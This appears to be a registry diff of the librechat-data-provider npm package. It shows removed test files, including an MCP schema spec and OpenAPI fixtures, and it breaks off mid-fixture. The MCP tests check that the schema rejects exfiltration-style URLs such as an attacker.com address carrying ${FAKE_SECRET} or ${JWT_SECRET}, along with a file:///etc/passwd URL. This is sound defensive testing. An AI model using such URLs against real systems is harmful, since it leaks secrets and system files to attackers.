librechat-data-provider 0.8.402 → 0.8.403
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/types/accessPermissions.d.ts +744 -0
- package/dist/types/actions.d.ts +118 -0
- package/dist/types/api-endpoints.d.ts +149 -0
- package/dist/types/artifacts.d.ts +97 -0
- package/dist/types/azure.d.ts +22 -0
- package/dist/types/bedrock.d.ts +1220 -0
- package/dist/types/config.d.ts +13916 -0
- package/dist/types/config.spec.d.ts +1 -0
- package/dist/types/createPayload.d.ts +5 -0
- package/dist/types/data-service.d.ts +284 -0
- package/dist/types/feedback.d.ts +36 -0
- package/dist/types/file-config.d.ts +263 -0
- package/dist/types/file-config.spec.d.ts +1 -0
- package/dist/types/generate.d.ts +597 -0
- package/dist/types/headers-helpers.d.ts +2 -0
- package/{src/index.ts → dist/types/index.d.ts} +0 -15
- package/dist/types/keys.d.ts +92 -0
- package/dist/types/mcp.d.ts +2760 -0
- package/dist/types/messages.d.ts +10 -0
- package/dist/types/models.d.ts +1677 -0
- package/dist/types/parameterSettings.d.ts +69 -0
- package/dist/types/parsers.d.ts +110 -0
- package/dist/types/permissions.d.ts +522 -0
- package/dist/types/react-query/react-query-service.d.ts +85 -0
- package/dist/types/request.d.ts +25 -0
- package/dist/types/roles.d.ts +554 -0
- package/dist/types/roles.spec.d.ts +1 -0
- package/dist/types/schemas.d.ts +4815 -0
- package/dist/types/schemas.spec.d.ts +1 -0
- package/dist/types/types/agents.d.ts +433 -0
- package/dist/types/types/assistants.d.ts +547 -0
- package/dist/types/types/files.d.ts +172 -0
- package/dist/types/types/graph.d.ts +135 -0
- package/{src/types/mcpServers.ts → dist/types/types/mcpServers.d.ts} +12 -18
- package/dist/types/types/mutations.d.ts +209 -0
- package/dist/types/types/queries.d.ts +169 -0
- package/dist/types/types/runs.d.ts +36 -0
- package/dist/types/types/web.d.ts +520 -0
- package/dist/types/types.d.ts +503 -0
- package/dist/types/utils.d.ts +12 -0
- package/package.json +4 -1
- package/babel.config.js +0 -4
- package/check_updates.sh +0 -52
- package/jest.config.js +0 -19
- package/react-query/package-lock.json +0 -292
- package/react-query/package.json +0 -10
- package/rollup.config.js +0 -74
- package/server-rollup.config.js +0 -40
- package/specs/actions.spec.ts +0 -2533
- package/specs/api-endpoints-subdir.spec.ts +0 -140
- package/specs/api-endpoints.spec.ts +0 -74
- package/specs/azure.spec.ts +0 -844
- package/specs/bedrock.spec.ts +0 -862
- package/specs/filetypes.spec.ts +0 -175
- package/specs/generate.spec.ts +0 -770
- package/specs/headers-helpers.spec.ts +0 -24
- package/specs/mcp.spec.ts +0 -147
- package/specs/openapiSpecs.ts +0 -524
- package/specs/parsers.spec.ts +0 -601
- package/specs/request-interceptor.spec.ts +0 -304
- package/specs/utils.spec.ts +0 -196
- package/src/accessPermissions.ts +0 -346
- package/src/actions.ts +0 -813
- package/src/api-endpoints.ts +0 -440
- package/src/artifacts.ts +0 -3104
- package/src/azure.ts +0 -328
- package/src/bedrock.ts +0 -425
- package/src/config.spec.ts +0 -315
- package/src/config.ts +0 -2006
- package/src/createPayload.ts +0 -46
- package/src/data-service.ts +0 -1087
- package/src/feedback.ts +0 -141
- package/src/file-config.spec.ts +0 -1248
- package/src/file-config.ts +0 -764
- package/src/generate.ts +0 -634
- package/src/headers-helpers.ts +0 -13
- package/src/keys.ts +0 -99
- package/src/mcp.ts +0 -271
- package/src/messages.ts +0 -50
- package/src/models.ts +0 -69
- package/src/parameterSettings.ts +0 -1111
- package/src/parsers.ts +0 -563
- package/src/permissions.ts +0 -188
- package/src/react-query/react-query-service.ts +0 -566
- package/src/request.ts +0 -171
- package/src/roles.spec.ts +0 -132
- package/src/roles.ts +0 -225
- package/src/schemas.spec.ts +0 -355
- package/src/schemas.ts +0 -1234
- package/src/types/agents.ts +0 -470
- package/src/types/assistants.ts +0 -654
- package/src/types/files.ts +0 -191
- package/src/types/graph.ts +0 -145
- package/src/types/mutations.ts +0 -422
- package/src/types/queries.ts +0 -208
- package/src/types/runs.ts +0 -40
- package/src/types/web.ts +0 -588
- package/src/types.ts +0 -676
- package/src/utils.ts +0 -85
- package/tsconfig.json +0 -28
- package/tsconfig.spec.json +0 -10
- /package/{src/react-query/index.ts → dist/types/react-query/index.d.ts} +0 -0
- /package/{src/types/index.ts → dist/types/types/index.d.ts} +0 -0
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
import axios from 'axios';
|
|
2
|
-
import { setTokenHeader } from '../src/headers-helpers';
|
|
3
|
-
|
|
4
|
-
describe('setTokenHeader', () => {
|
|
5
|
-
afterEach(() => {
|
|
6
|
-
delete axios.defaults.headers.common['Authorization'];
|
|
7
|
-
});
|
|
8
|
-
|
|
9
|
-
it('sets the Authorization header with a Bearer token', () => {
|
|
10
|
-
setTokenHeader('my-token');
|
|
11
|
-
expect(axios.defaults.headers.common['Authorization']).toBe('Bearer my-token');
|
|
12
|
-
});
|
|
13
|
-
|
|
14
|
-
it('deletes the Authorization header when called with undefined', () => {
|
|
15
|
-
axios.defaults.headers.common['Authorization'] = 'Bearer old-token';
|
|
16
|
-
setTokenHeader(undefined);
|
|
17
|
-
expect(axios.defaults.headers.common['Authorization']).toBeUndefined();
|
|
18
|
-
});
|
|
19
|
-
|
|
20
|
-
it('is a no-op when clearing an already absent header', () => {
|
|
21
|
-
setTokenHeader(undefined);
|
|
22
|
-
expect(axios.defaults.headers.common['Authorization']).toBeUndefined();
|
|
23
|
-
});
|
|
24
|
-
});
|
package/specs/mcp.spec.ts
DELETED
|
@@ -1,147 +0,0 @@
|
|
|
1
|
-
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
|
|
2
|
-
|
|
3
|
-
describe('MCPServerUserInputSchema', () => {
|
|
4
|
-
describe('env variable exfiltration prevention', () => {
|
|
5
|
-
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
|
|
6
|
-
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
7
|
-
const adminResult = SSEOptionsSchema.safeParse({
|
|
8
|
-
type: 'sse',
|
|
9
|
-
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
10
|
-
});
|
|
11
|
-
expect(adminResult.success).toBe(true);
|
|
12
|
-
if (adminResult.success) {
|
|
13
|
-
expect(adminResult.data.url).toContain('leaked-secret-value');
|
|
14
|
-
}
|
|
15
|
-
delete process.env.FAKE_SECRET;
|
|
16
|
-
});
|
|
17
|
-
|
|
18
|
-
it('should reject the same URL through user input schema', () => {
|
|
19
|
-
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
20
|
-
const userResult = MCPServerUserInputSchema.safeParse({
|
|
21
|
-
type: 'sse',
|
|
22
|
-
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
23
|
-
});
|
|
24
|
-
expect(userResult.success).toBe(false);
|
|
25
|
-
delete process.env.FAKE_SECRET;
|
|
26
|
-
});
|
|
27
|
-
});
|
|
28
|
-
|
|
29
|
-
describe('env variable rejection', () => {
|
|
30
|
-
it('should reject SSE URLs containing env variable patterns', () => {
|
|
31
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
32
|
-
type: 'sse',
|
|
33
|
-
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
34
|
-
});
|
|
35
|
-
expect(result.success).toBe(false);
|
|
36
|
-
});
|
|
37
|
-
|
|
38
|
-
it('should reject streamable-http URLs containing env variable patterns', () => {
|
|
39
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
40
|
-
type: 'streamable-http',
|
|
41
|
-
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
|
|
42
|
-
});
|
|
43
|
-
expect(result.success).toBe(false);
|
|
44
|
-
});
|
|
45
|
-
|
|
46
|
-
it('should reject WebSocket URLs containing env variable patterns', () => {
|
|
47
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
48
|
-
type: 'websocket',
|
|
49
|
-
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
|
|
50
|
-
});
|
|
51
|
-
expect(result.success).toBe(false);
|
|
52
|
-
});
|
|
53
|
-
});
|
|
54
|
-
|
|
55
|
-
describe('protocol allowlisting', () => {
|
|
56
|
-
it('should reject file:// URLs for SSE', () => {
|
|
57
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
58
|
-
type: 'sse',
|
|
59
|
-
url: 'file:///etc/passwd',
|
|
60
|
-
});
|
|
61
|
-
expect(result.success).toBe(false);
|
|
62
|
-
});
|
|
63
|
-
|
|
64
|
-
it('should reject ftp:// URLs for streamable-http', () => {
|
|
65
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
66
|
-
type: 'streamable-http',
|
|
67
|
-
url: 'ftp://internal-server/data',
|
|
68
|
-
});
|
|
69
|
-
expect(result.success).toBe(false);
|
|
70
|
-
});
|
|
71
|
-
|
|
72
|
-
it('should reject http:// URLs for WebSocket', () => {
|
|
73
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
74
|
-
type: 'websocket',
|
|
75
|
-
url: 'http://example.com/ws',
|
|
76
|
-
});
|
|
77
|
-
expect(result.success).toBe(false);
|
|
78
|
-
});
|
|
79
|
-
|
|
80
|
-
it('should reject ws:// URLs for SSE', () => {
|
|
81
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
82
|
-
type: 'sse',
|
|
83
|
-
url: 'ws://example.com/sse',
|
|
84
|
-
});
|
|
85
|
-
expect(result.success).toBe(false);
|
|
86
|
-
});
|
|
87
|
-
});
|
|
88
|
-
|
|
89
|
-
describe('valid URL acceptance', () => {
|
|
90
|
-
it('should accept valid https:// SSE URLs', () => {
|
|
91
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
92
|
-
type: 'sse',
|
|
93
|
-
url: 'https://mcp-server.com/sse',
|
|
94
|
-
});
|
|
95
|
-
expect(result.success).toBe(true);
|
|
96
|
-
if (result.success) {
|
|
97
|
-
expect(result.data.url).toBe('https://mcp-server.com/sse');
|
|
98
|
-
}
|
|
99
|
-
});
|
|
100
|
-
|
|
101
|
-
it('should accept valid http:// SSE URLs', () => {
|
|
102
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
103
|
-
type: 'sse',
|
|
104
|
-
url: 'http://mcp-server.com/sse',
|
|
105
|
-
});
|
|
106
|
-
expect(result.success).toBe(true);
|
|
107
|
-
});
|
|
108
|
-
|
|
109
|
-
it('should accept valid wss:// WebSocket URLs', () => {
|
|
110
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
111
|
-
type: 'websocket',
|
|
112
|
-
url: 'wss://mcp-server.com/ws',
|
|
113
|
-
});
|
|
114
|
-
expect(result.success).toBe(true);
|
|
115
|
-
if (result.success) {
|
|
116
|
-
expect(result.data.url).toBe('wss://mcp-server.com/ws');
|
|
117
|
-
}
|
|
118
|
-
});
|
|
119
|
-
|
|
120
|
-
it('should accept valid ws:// WebSocket URLs', () => {
|
|
121
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
122
|
-
type: 'websocket',
|
|
123
|
-
url: 'ws://mcp-server.com/ws',
|
|
124
|
-
});
|
|
125
|
-
expect(result.success).toBe(true);
|
|
126
|
-
});
|
|
127
|
-
|
|
128
|
-
it('should accept valid https:// streamable-http URLs', () => {
|
|
129
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
130
|
-
type: 'streamable-http',
|
|
131
|
-
url: 'https://mcp-server.com/http',
|
|
132
|
-
});
|
|
133
|
-
expect(result.success).toBe(true);
|
|
134
|
-
if (result.success) {
|
|
135
|
-
expect(result.data.url).toBe('https://mcp-server.com/http');
|
|
136
|
-
}
|
|
137
|
-
});
|
|
138
|
-
|
|
139
|
-
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
|
|
140
|
-
const result = MCPServerUserInputSchema.safeParse({
|
|
141
|
-
type: 'http',
|
|
142
|
-
url: 'http://mcp-server.com/mcp',
|
|
143
|
-
});
|
|
144
|
-
expect(result.success).toBe(true);
|
|
145
|
-
});
|
|
146
|
-
});
|
|
147
|
-
});
|
package/specs/openapiSpecs.ts
DELETED
|
@@ -1,524 +0,0 @@
|
|
|
1
|
-
import { OpenAPIV3 } from 'openapi-types';
|
|
2
|
-
|
|
3
|
-
export type FlowchartSchema = {
|
|
4
|
-
mermaid: {
|
|
5
|
-
type: 'string';
|
|
6
|
-
description: 'Flowchart to be rendered, in Mermaid syntax';
|
|
7
|
-
};
|
|
8
|
-
title: {
|
|
9
|
-
type: 'string';
|
|
10
|
-
description: 'Title of the flowchart';
|
|
11
|
-
};
|
|
12
|
-
};
|
|
13
|
-
|
|
14
|
-
export const getWeatherOpenapiSpec: OpenAPIV3.Document = {
|
|
15
|
-
openapi: '3.1.0',
|
|
16
|
-
info: {
|
|
17
|
-
title: 'Get weather data',
|
|
18
|
-
description: 'Retrieves current weather data for a location.',
|
|
19
|
-
version: 'v1.0.0',
|
|
20
|
-
},
|
|
21
|
-
servers: [
|
|
22
|
-
{
|
|
23
|
-
url: 'https://weather.example.com',
|
|
24
|
-
},
|
|
25
|
-
],
|
|
26
|
-
paths: {
|
|
27
|
-
'/location': {
|
|
28
|
-
get: {
|
|
29
|
-
description: 'Get temperature for a specific location',
|
|
30
|
-
operationId: 'GetCurrentWeather',
|
|
31
|
-
parameters: [
|
|
32
|
-
{
|
|
33
|
-
name: 'location',
|
|
34
|
-
in: 'query',
|
|
35
|
-
description: 'The city and state to retrieve the weather for',
|
|
36
|
-
required: true,
|
|
37
|
-
schema: {
|
|
38
|
-
type: 'string',
|
|
39
|
-
},
|
|
40
|
-
},
|
|
41
|
-
],
|
|
42
|
-
requestBody: {
|
|
43
|
-
required: true,
|
|
44
|
-
content: {
|
|
45
|
-
'application/json': {
|
|
46
|
-
schema: {
|
|
47
|
-
type: 'object',
|
|
48
|
-
properties: {
|
|
49
|
-
locations: {
|
|
50
|
-
type: 'array',
|
|
51
|
-
items: {
|
|
52
|
-
type: 'object',
|
|
53
|
-
properties: {
|
|
54
|
-
city: {
|
|
55
|
-
type: 'string',
|
|
56
|
-
example: 'San Francisco',
|
|
57
|
-
},
|
|
58
|
-
state: {
|
|
59
|
-
type: 'string',
|
|
60
|
-
example: 'CA',
|
|
61
|
-
},
|
|
62
|
-
countryCode: {
|
|
63
|
-
type: 'string',
|
|
64
|
-
description: 'ISO 3166-1 alpha-2 country code',
|
|
65
|
-
example: 'US',
|
|
66
|
-
},
|
|
67
|
-
time: {
|
|
68
|
-
type: 'string',
|
|
69
|
-
description:
|
|
70
|
-
'Optional time for which the weather is requested, in ISO 8601 format.',
|
|
71
|
-
example: '2023-12-04T14:00:00Z',
|
|
72
|
-
},
|
|
73
|
-
},
|
|
74
|
-
required: ['city', 'state', 'countryCode'],
|
|
75
|
-
description:
|
|
76
|
-
'Details of the location for which the weather data is requested.',
|
|
77
|
-
},
|
|
78
|
-
description: 'A list of locations to retrieve the weather for.',
|
|
79
|
-
},
|
|
80
|
-
},
|
|
81
|
-
},
|
|
82
|
-
},
|
|
83
|
-
},
|
|
84
|
-
},
|
|
85
|
-
deprecated: false,
|
|
86
|
-
responses: {},
|
|
87
|
-
},
|
|
88
|
-
},
|
|
89
|
-
},
|
|
90
|
-
components: {
|
|
91
|
-
schemas: {},
|
|
92
|
-
},
|
|
93
|
-
};
|
|
94
|
-
|
|
95
|
-
export const whimsicalOpenapiSpec: OpenAPIV3.Document = {
|
|
96
|
-
openapi: '3.0.0',
|
|
97
|
-
info: {
|
|
98
|
-
version: '1.0.0',
|
|
99
|
-
title: 'Diagram to Image API',
|
|
100
|
-
description: 'A simple API to generate flowchart, mindmap, or sequence diagram images.',
|
|
101
|
-
},
|
|
102
|
-
servers: [{ url: 'https://whimsical.com/api' }],
|
|
103
|
-
paths: {
|
|
104
|
-
'/ai.chatgpt.render-flowchart': {
|
|
105
|
-
post: {
|
|
106
|
-
operationId: 'postRenderFlowchart',
|
|
107
|
-
// 'x-openai-isConsequential': false,
|
|
108
|
-
summary: 'Renders a flowchart',
|
|
109
|
-
description:
|
|
110
|
-
'Accepts a string describing a flowchart and returns a URL to a rendered image',
|
|
111
|
-
requestBody: {
|
|
112
|
-
content: {
|
|
113
|
-
'application/json': {
|
|
114
|
-
schema: {
|
|
115
|
-
$ref: '#/components/schemas/FlowchartRequest',
|
|
116
|
-
},
|
|
117
|
-
},
|
|
118
|
-
},
|
|
119
|
-
required: true,
|
|
120
|
-
},
|
|
121
|
-
responses: {
|
|
122
|
-
'200': {
|
|
123
|
-
description: 'URL to the rendered image',
|
|
124
|
-
content: {
|
|
125
|
-
'application/json': {
|
|
126
|
-
schema: {
|
|
127
|
-
$ref: '#/components/schemas/FlowchartResponse',
|
|
128
|
-
},
|
|
129
|
-
},
|
|
130
|
-
},
|
|
131
|
-
},
|
|
132
|
-
},
|
|
133
|
-
},
|
|
134
|
-
},
|
|
135
|
-
},
|
|
136
|
-
components: {
|
|
137
|
-
schemas: {
|
|
138
|
-
FlowchartRequest: {
|
|
139
|
-
type: 'object',
|
|
140
|
-
properties: {
|
|
141
|
-
mermaid: {
|
|
142
|
-
type: 'string',
|
|
143
|
-
description: 'Flowchart to be rendered, in Mermaid syntax',
|
|
144
|
-
},
|
|
145
|
-
title: {
|
|
146
|
-
type: 'string',
|
|
147
|
-
description: 'Title of the flowchart',
|
|
148
|
-
},
|
|
149
|
-
},
|
|
150
|
-
required: ['mermaid'],
|
|
151
|
-
},
|
|
152
|
-
FlowchartResponse: {
|
|
153
|
-
type: 'object',
|
|
154
|
-
properties: {
|
|
155
|
-
imageURL: {
|
|
156
|
-
type: 'string',
|
|
157
|
-
description: 'URL of the rendered image',
|
|
158
|
-
},
|
|
159
|
-
},
|
|
160
|
-
},
|
|
161
|
-
},
|
|
162
|
-
},
|
|
163
|
-
};
|
|
164
|
-
|
|
165
|
-
export const formOpenAPISpec: OpenAPIV3.Document = {
|
|
166
|
-
openapi: '3.1.0',
|
|
167
|
-
info: {
|
|
168
|
-
title: 'Submit Google Form',
|
|
169
|
-
description: 'Submit data to a Google Forms',
|
|
170
|
-
version: 'v1.0.0',
|
|
171
|
-
},
|
|
172
|
-
servers: [
|
|
173
|
-
{
|
|
174
|
-
url: 'https://docs.google.com/forms',
|
|
175
|
-
},
|
|
176
|
-
],
|
|
177
|
-
paths: {
|
|
178
|
-
'/formResponse': {
|
|
179
|
-
post: {
|
|
180
|
-
description: 'Submit a Google Form',
|
|
181
|
-
operationId: 'SubmitForm',
|
|
182
|
-
requestBody: {
|
|
183
|
-
required: true,
|
|
184
|
-
content: {
|
|
185
|
-
'application/x-www-form-urlencoded': {
|
|
186
|
-
schema: {
|
|
187
|
-
type: 'object',
|
|
188
|
-
properties: {
|
|
189
|
-
'entry.123': {
|
|
190
|
-
type: 'string',
|
|
191
|
-
description: 'Name',
|
|
192
|
-
},
|
|
193
|
-
'entry.456': {
|
|
194
|
-
type: 'string',
|
|
195
|
-
description: 'Address',
|
|
196
|
-
},
|
|
197
|
-
},
|
|
198
|
-
},
|
|
199
|
-
},
|
|
200
|
-
},
|
|
201
|
-
},
|
|
202
|
-
deprecated: false,
|
|
203
|
-
responses: {},
|
|
204
|
-
},
|
|
205
|
-
},
|
|
206
|
-
},
|
|
207
|
-
components: {
|
|
208
|
-
schemas: {},
|
|
209
|
-
},
|
|
210
|
-
};
|
|
211
|
-
|
|
212
|
-
export const scholarAIOpenapiSpec = `
|
|
213
|
-
openapi: 3.0.1
|
|
214
|
-
info:
|
|
215
|
-
title: ScholarAI
|
|
216
|
-
description: Allows the user to search facts and findings from scientific articles
|
|
217
|
-
version: 'v1'
|
|
218
|
-
servers:
|
|
219
|
-
- url: https://scholar-ai.net
|
|
220
|
-
paths:
|
|
221
|
-
/api/abstracts:
|
|
222
|
-
get:
|
|
223
|
-
operationId: searchAbstracts
|
|
224
|
-
summary: Get relevant paper abstracts by keywords search
|
|
225
|
-
parameters:
|
|
226
|
-
- name: keywords
|
|
227
|
-
in: query
|
|
228
|
-
description: Keywords of inquiry which should appear in article. Must be in English.
|
|
229
|
-
required: true
|
|
230
|
-
schema:
|
|
231
|
-
type: string
|
|
232
|
-
- name: sort
|
|
233
|
-
in: query
|
|
234
|
-
description: The sort order for results. Valid values are cited_by_count or publication_date. Excluding this value does a relevance based search.
|
|
235
|
-
required: false
|
|
236
|
-
schema:
|
|
237
|
-
type: string
|
|
238
|
-
enum:
|
|
239
|
-
- cited_by_count
|
|
240
|
-
- publication_date
|
|
241
|
-
- name: query
|
|
242
|
-
in: query
|
|
243
|
-
description: The user query
|
|
244
|
-
required: true
|
|
245
|
-
schema:
|
|
246
|
-
type: string
|
|
247
|
-
- name: peer_reviewed_only
|
|
248
|
-
in: query
|
|
249
|
-
description: Whether to only return peer reviewed articles. Defaults to true, ChatGPT should cautiously suggest this value can be set to false
|
|
250
|
-
required: false
|
|
251
|
-
schema:
|
|
252
|
-
type: string
|
|
253
|
-
- name: start_year
|
|
254
|
-
in: query
|
|
255
|
-
description: The first year, inclusive, to include in the search range. Excluding this value will include all years.
|
|
256
|
-
required: false
|
|
257
|
-
schema:
|
|
258
|
-
type: string
|
|
259
|
-
- name: end_year
|
|
260
|
-
in: query
|
|
261
|
-
description: The last year, inclusive, to include in the search range. Excluding this value will include all years.
|
|
262
|
-
required: false
|
|
263
|
-
schema:
|
|
264
|
-
type: string
|
|
265
|
-
- name: offset
|
|
266
|
-
in: query
|
|
267
|
-
description: The offset of the first result to return. Defaults to 0.
|
|
268
|
-
required: false
|
|
269
|
-
schema:
|
|
270
|
-
type: string
|
|
271
|
-
responses:
|
|
272
|
-
"200":
|
|
273
|
-
description: OK
|
|
274
|
-
content:
|
|
275
|
-
application/json:
|
|
276
|
-
schema:
|
|
277
|
-
$ref: '#/components/schemas/searchAbstractsResponse'
|
|
278
|
-
/api/fulltext:
|
|
279
|
-
get:
|
|
280
|
-
operationId: getFullText
|
|
281
|
-
summary: Get full text of a paper by URL for PDF
|
|
282
|
-
parameters:
|
|
283
|
-
- name: pdf_url
|
|
284
|
-
in: query
|
|
285
|
-
description: URL for PDF
|
|
286
|
-
required: true
|
|
287
|
-
schema:
|
|
288
|
-
type: string
|
|
289
|
-
- name: chunk
|
|
290
|
-
in: query
|
|
291
|
-
description: chunk number to retrieve, defaults to 1
|
|
292
|
-
required: false
|
|
293
|
-
schema:
|
|
294
|
-
type: number
|
|
295
|
-
responses:
|
|
296
|
-
"200":
|
|
297
|
-
description: OK
|
|
298
|
-
content:
|
|
299
|
-
application/json:
|
|
300
|
-
schema:
|
|
301
|
-
$ref: '#/components/schemas/getFullTextResponse'
|
|
302
|
-
/api/save-citation:
|
|
303
|
-
get:
|
|
304
|
-
operationId: saveCitation
|
|
305
|
-
summary: Save citation to reference manager
|
|
306
|
-
parameters:
|
|
307
|
-
- name: doi
|
|
308
|
-
in: query
|
|
309
|
-
description: Digital Object Identifier (DOI) of article
|
|
310
|
-
required: true
|
|
311
|
-
schema:
|
|
312
|
-
type: string
|
|
313
|
-
- name: zotero_user_id
|
|
314
|
-
in: query
|
|
315
|
-
description: Zotero User ID
|
|
316
|
-
required: true
|
|
317
|
-
schema:
|
|
318
|
-
type: string
|
|
319
|
-
- name: zotero_api_key
|
|
320
|
-
in: query
|
|
321
|
-
description: Zotero API Key
|
|
322
|
-
required: true
|
|
323
|
-
schema:
|
|
324
|
-
type: string
|
|
325
|
-
responses:
|
|
326
|
-
"200":
|
|
327
|
-
description: OK
|
|
328
|
-
content:
|
|
329
|
-
application/json:
|
|
330
|
-
schema:
|
|
331
|
-
$ref: '#/components/schemas/saveCitationResponse'
|
|
332
|
-
components:
|
|
333
|
-
schemas:
|
|
334
|
-
searchAbstractsResponse:
|
|
335
|
-
type: object
|
|
336
|
-
properties:
|
|
337
|
-
next_offset:
|
|
338
|
-
type: number
|
|
339
|
-
description: The offset of the next page of results.
|
|
340
|
-
total_num_results:
|
|
341
|
-
type: number
|
|
342
|
-
description: The total number of results.
|
|
343
|
-
abstracts:
|
|
344
|
-
type: array
|
|
345
|
-
items:
|
|
346
|
-
type: object
|
|
347
|
-
properties:
|
|
348
|
-
title:
|
|
349
|
-
type: string
|
|
350
|
-
abstract:
|
|
351
|
-
type: string
|
|
352
|
-
description: Summary of the context, methods, results, and conclusions of the paper.
|
|
353
|
-
doi:
|
|
354
|
-
type: string
|
|
355
|
-
description: The DOI of the paper.
|
|
356
|
-
landing_page_url:
|
|
357
|
-
type: string
|
|
358
|
-
description: Link to the paper on its open-access host.
|
|
359
|
-
pdf_url:
|
|
360
|
-
type: string
|
|
361
|
-
description: Link to the paper PDF.
|
|
362
|
-
publicationDate:
|
|
363
|
-
type: string
|
|
364
|
-
description: The date the paper was published in YYYY-MM-DD format.
|
|
365
|
-
relevance:
|
|
366
|
-
type: number
|
|
367
|
-
description: The relevance of the paper to the search query. 1 is the most relevant.
|
|
368
|
-
creators:
|
|
369
|
-
type: array
|
|
370
|
-
items:
|
|
371
|
-
type: string
|
|
372
|
-
description: The name of the creator.
|
|
373
|
-
cited_by_count:
|
|
374
|
-
type: number
|
|
375
|
-
description: The number of citations of the article.
|
|
376
|
-
description: The list of relevant abstracts.
|
|
377
|
-
getFullTextResponse:
|
|
378
|
-
type: object
|
|
379
|
-
properties:
|
|
380
|
-
full_text:
|
|
381
|
-
type: string
|
|
382
|
-
description: The full text of the paper.
|
|
383
|
-
pdf_url:
|
|
384
|
-
type: string
|
|
385
|
-
description: The PDF URL of the paper.
|
|
386
|
-
chunk:
|
|
387
|
-
type: number
|
|
388
|
-
description: The chunk of the paper.
|
|
389
|
-
total_chunk_num:
|
|
390
|
-
type: number
|
|
391
|
-
description: The total chunks of the paper.
|
|
392
|
-
saveCitationResponse:
|
|
393
|
-
type: object
|
|
394
|
-
properties:
|
|
395
|
-
message:
|
|
396
|
-
type: string
|
|
397
|
-
description: Confirmation of successful save or error message.`;
|
|
398
|
-
|
|
399
|
-
export const swapidev = `
|
|
400
|
-
openapi: 3.0.3
|
|
401
|
-
info:
|
|
402
|
-
title: Star Wars API
|
|
403
|
-
description: This is a simple API that provides information about the Star Wars universe.
|
|
404
|
-
version: 1.0.0
|
|
405
|
-
servers:
|
|
406
|
-
- url: https://swapi.dev
|
|
407
|
-
|
|
408
|
-
paths:
|
|
409
|
-
/api/people:
|
|
410
|
-
get:
|
|
411
|
-
summary: List all people
|
|
412
|
-
operationId: getPeople
|
|
413
|
-
tags:
|
|
414
|
-
- People
|
|
415
|
-
responses:
|
|
416
|
-
'200':
|
|
417
|
-
description: A list of people
|
|
418
|
-
content:
|
|
419
|
-
application/json:
|
|
420
|
-
schema:
|
|
421
|
-
type: object
|
|
422
|
-
properties:
|
|
423
|
-
count:
|
|
424
|
-
type: integer
|
|
425
|
-
example: 82
|
|
426
|
-
next:
|
|
427
|
-
type: string
|
|
428
|
-
nullable: true
|
|
429
|
-
example: https://swapi.dev/api/people/?page=2
|
|
430
|
-
previous:
|
|
431
|
-
type: string
|
|
432
|
-
nullable: true
|
|
433
|
-
example: null
|
|
434
|
-
results:
|
|
435
|
-
type: array
|
|
436
|
-
items:
|
|
437
|
-
$ref: '#/components/schemas/Person'
|
|
438
|
-
|
|
439
|
-
/api/people/{id}:
|
|
440
|
-
get:
|
|
441
|
-
summary: Get a person by ID
|
|
442
|
-
operationId: getPersonById
|
|
443
|
-
tags:
|
|
444
|
-
- People
|
|
445
|
-
parameters:
|
|
446
|
-
- name: id
|
|
447
|
-
in: path
|
|
448
|
-
required: true
|
|
449
|
-
description: The ID of the person to retrieve
|
|
450
|
-
schema:
|
|
451
|
-
type: string
|
|
452
|
-
responses:
|
|
453
|
-
'200':
|
|
454
|
-
description: A single person
|
|
455
|
-
content:
|
|
456
|
-
application/json:
|
|
457
|
-
schema:
|
|
458
|
-
$ref: '#/components/schemas/Person'
|
|
459
|
-
'404':
|
|
460
|
-
description: Person not found
|
|
461
|
-
|
|
462
|
-
components:
|
|
463
|
-
schemas:
|
|
464
|
-
Person:
|
|
465
|
-
type: object
|
|
466
|
-
properties:
|
|
467
|
-
name:
|
|
468
|
-
type: string
|
|
469
|
-
example: Luke Skywalker
|
|
470
|
-
height:
|
|
471
|
-
type: string
|
|
472
|
-
example: "172"
|
|
473
|
-
mass:
|
|
474
|
-
type: string
|
|
475
|
-
example: "77"
|
|
476
|
-
hair_color:
|
|
477
|
-
type: string
|
|
478
|
-
example: blond
|
|
479
|
-
skin_color:
|
|
480
|
-
type: string
|
|
481
|
-
example: fair
|
|
482
|
-
eye_color:
|
|
483
|
-
type: string
|
|
484
|
-
example: blue
|
|
485
|
-
birth_year:
|
|
486
|
-
type: string
|
|
487
|
-
example: "19BBY"
|
|
488
|
-
gender:
|
|
489
|
-
type: string
|
|
490
|
-
example: male
|
|
491
|
-
homeworld:
|
|
492
|
-
type: string
|
|
493
|
-
example: https://swapi.dev/api/planets/1/
|
|
494
|
-
films:
|
|
495
|
-
type: array
|
|
496
|
-
items:
|
|
497
|
-
type: string
|
|
498
|
-
example: https://swapi.dev/api/films/1/
|
|
499
|
-
species:
|
|
500
|
-
type: array
|
|
501
|
-
items:
|
|
502
|
-
type: string
|
|
503
|
-
example: https://swapi.dev/api/species/1/
|
|
504
|
-
vehicles:
|
|
505
|
-
type: array
|
|
506
|
-
items:
|
|
507
|
-
type: string
|
|
508
|
-
example: https://swapi.dev/api/vehicles/14/
|
|
509
|
-
starships:
|
|
510
|
-
type: array
|
|
511
|
-
items:
|
|
512
|
-
type: string
|
|
513
|
-
example: https://swapi.dev/api/starships/12/
|
|
514
|
-
created:
|
|
515
|
-
type: string
|
|
516
|
-
format: date-time
|
|
517
|
-
example: 2014-12-09T13:50:51.644000Z
|
|
518
|
-
edited:
|
|
519
|
